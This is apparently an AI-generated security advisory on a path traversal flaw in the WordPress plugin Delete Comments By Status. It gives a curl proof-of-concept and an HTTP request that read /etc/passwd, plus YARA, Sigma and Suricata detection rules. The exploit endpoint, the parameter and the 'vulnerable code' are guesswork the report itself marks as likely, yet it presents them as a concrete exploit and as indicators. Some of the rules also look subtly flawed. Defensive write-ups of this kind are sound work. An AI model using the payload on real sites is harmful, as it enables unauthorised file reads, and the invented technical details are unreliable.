CVE-2025-25130

Executive Summary

CVE-2025-25130 is a Relative Path Traversal vulnerability (CWE-22) identified in the WordPress plugin Delete Comments By Status by Shah Alom, affecting versions up to and including 2.1.1. This flaw allows an unauthenticated attacker to traverse directories on the server, potentially reading sensitive files outside the web root. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using this plugin version <= 2.1.1 is exposed. Since no patch is available, site administrators must consider disabling or removing the plugin until a fix is released. The plugin's update mechanism does not currently provide a patched version, increasing the urgency for manual intervention.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Sensitive files can be read.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of network exploitability, no privileges required, and high confidentiality impact makes this a serious risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the plugin's file handling logic, likely within a function that reads or includes files based on user-supplied input. The plugin fails to sanitize path traversal sequences (e.g., ../), allowing an attacker to escape the intended directory and access arbitrary files on the server.

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint (e.g., an AJAX action or admin-ajax.php handler) with a crafted path parameter containing ../ sequences.

Example vulnerable parameter: ?action=delete_comments_by_status&path=../../../../etc/passwd

The plugin's code likely does something like:

$file = $_GET['path'];
include($file); // or readfile($file);

Without proper validation, this allows reading any file the web server user can access.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.1.1):

// No input validation
$path = $_GET['path'];
$content = file_get_contents($path);
echo $content;

Patched Code (Hypothetical):

// Validate and restrict path
$allowed_dir = WP_CONTENT_DIR . '/uploads/delete-comments-by-status/';
$path = realpath($allowed_dir . basename($_GET['path']));
if (strpos($path, $allowed_dir) === 0) {
    $content = file_get_contents($path);
    echo $content;
} else {
    wp_die('Invalid path.');
}

Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Delete Comments By Status plugin <= 2.1.1 installed and activated.
• Web server with PHP and file read permissions.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=delete_comments_by_status).
2. Craft a request with a path traversal payload:

   GET /wp-admin/admin-ajax.php?action=delete_comments_by_status&path=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. Observe the response containing the contents of /etc/passwd.

Proof of Concept (PoC) Script:

#!/bin/bash
# CVE-2025-25130 PoC
TARGET="http://target.com/wp-admin/admin-ajax.php"
curl -s "$TARGET?action=delete_comments_by_status&path=../../../../etc/passwd"

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in parameters.
• Look for unusual file read attempts (e.g., /etc/passwd, /etc/shadow).

Hardening:

• Disable or remove the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file permissions for the web server user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with path parameter containing ../ or ..%2f.
  • Requests to /wp-admin/admin-ajax.php with action=delete_comments_by_status.
• File System IOCs:
  • Unauthorized access to /etc/passwd, /etc/shadow, or other sensitive files.
  • Plugin directory /wp-content/plugins/delete-comments-by-status/ present with version <= 2.1.1.

Detection Engineering

YARA Rule

rule CVE_2025_25130_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Delete Comments By Status plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25130"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $plugin_path = "delete-comments-by-status" ascii wide nocase
        $action_param = "action=delete_comments_by_status" ascii wide nocase
    condition:
        any of ($traversal*) and $plugin_path and $action_param
}

Sigma Rule

title: CVE-2025-25130 Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against Delete Comments By Status plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'action=delete_comments_by_status'
            - '../'
            - '..%2f'
    condition: selection
falsepositives:
    - Legitimate use of path parameters (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-25130 Path Traversal Attempt";
    flow:to_server,established;
    content:"action=delete_comments_by_status"; http_uri;
    content:"../"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete delete-comments-by-status from the WordPress admin panel.
2. Apply virtual patching – Use a WAF to block requests containing ../ in the path parameter.
3. Monitor logs – Check for any prior exploitation attempts.

Long-term Fix:

• Wait for an official patch from the vendor. If none is released, consider replacing the plugin with an alternative.
• Implement input validation and path sanitization in custom code.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.